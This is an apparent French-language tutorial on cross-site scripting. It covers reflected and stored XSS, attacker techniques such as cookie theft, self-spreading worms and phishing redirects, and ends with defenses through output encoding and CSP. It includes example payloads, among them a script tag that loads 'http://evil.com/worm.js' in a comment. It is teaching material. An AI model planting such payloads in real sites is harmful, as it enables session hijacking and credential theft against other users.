01 // THEORIE DU XSS
Le Cross-Site Scripting (XSS) est une injection de code côté client. Contrairement à la SQLi qui attaque le serveur, la XSS attaque les autres utilisateurs.
Le Mécanisme (Trust Betrayal)
Le navigateur fait confiance à tout ce que le site lui envoie. Si le site renvoie votre propre texte (ex: un commentaire) sans le nettoyer, et que ce texte contient du HTML/JS, le navigateur l'exécutera.
print("Bonjour " . $username);
// L'ATTAQUANT DIT :
$username = "<script>steal_money()</script>";
Pour le navigateur, le script steal_money() est une instruction légitime venant du site officiel.
02 // REFLECTED XSS
L'attaque non-persistante. Le payload est dans le lien lui-même.
Scénario d'Attaque
- L'attaquant trouve un champ de recherche vulnérable.
- Il fabrique un lien piégé :
site.com/?search=<script>... - Il envoie le lien à la victime (Phishing).
- La victime clique et le script s'exécute dans SON navigateur.
03 // STORED XSS
L'attaque la plus dangereuse (Persistante). Le payload est stocké dans la base de données.
Impact Viral
Une fois le script "posté" (dans un commentaire, un profil, un post...), il sera servi à chaque visiteur de la page. C'est l'équivalent d'une mine antipersonnel numérique.
"Super article ! <script src='http://evil.com/worm.js'></script>"
04 // ADVANCED WEAPONIZATION
Afficher alert(1) est amusant, mais les vrais hackers opèrent différemment. Voici les techniques avancées disponibles dans l'Arsenal.
1. Vol de Session (Cookie Hijacking)
Le classique. Exfiltrer le document.cookie vers un serveur contrôlé (C2) pour usurper l'identité de la victime.
2. Self-Replicating Worm (Le Virus)
L'attaque ultime. Le script injecté utilise AJAX pour poster sa propre copie sur le site. Chaque victime qui voit le message infecté le reposte automatiquement, créant une réaction en chaîne exponentielle (comme le ver Samy sur MySpace).
3. Phishing & Redirection
Au lieu de rester sur la page infectée, le script redirige silencieusement l'utilisateur vers une copie parfaite de la page de login ("Session Expirée"). Si l'utilisateur tape son mot de passe, il est envoyé à l'attaquant.
4. Browser Fingerprinting
Le script collecte silencieusement des données techniques (Résolution, OS, GPU, Plugins) pour identifier de façon unique la machine de la cible, même sans cookies.
05 // IMMUNITY_PROTOCOLS
Empêcher le XSS est simple si l'on respecte une règle : OUTPUT ENCODING.
Context-Aware Encoding
Avant d'afficher une donnée utilisateur, convertissez les caractères spéciaux en entités HTML inoffensives.
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// <script> devient <script> (Texte visible, pas de code)
Content Security Policy (CSP)
Une défense en profondeur. Le serveur envoie un en-tête disant au navigateur : "N'exécute que les scripts venant de MON domaine, ignore tout le reste (inline)".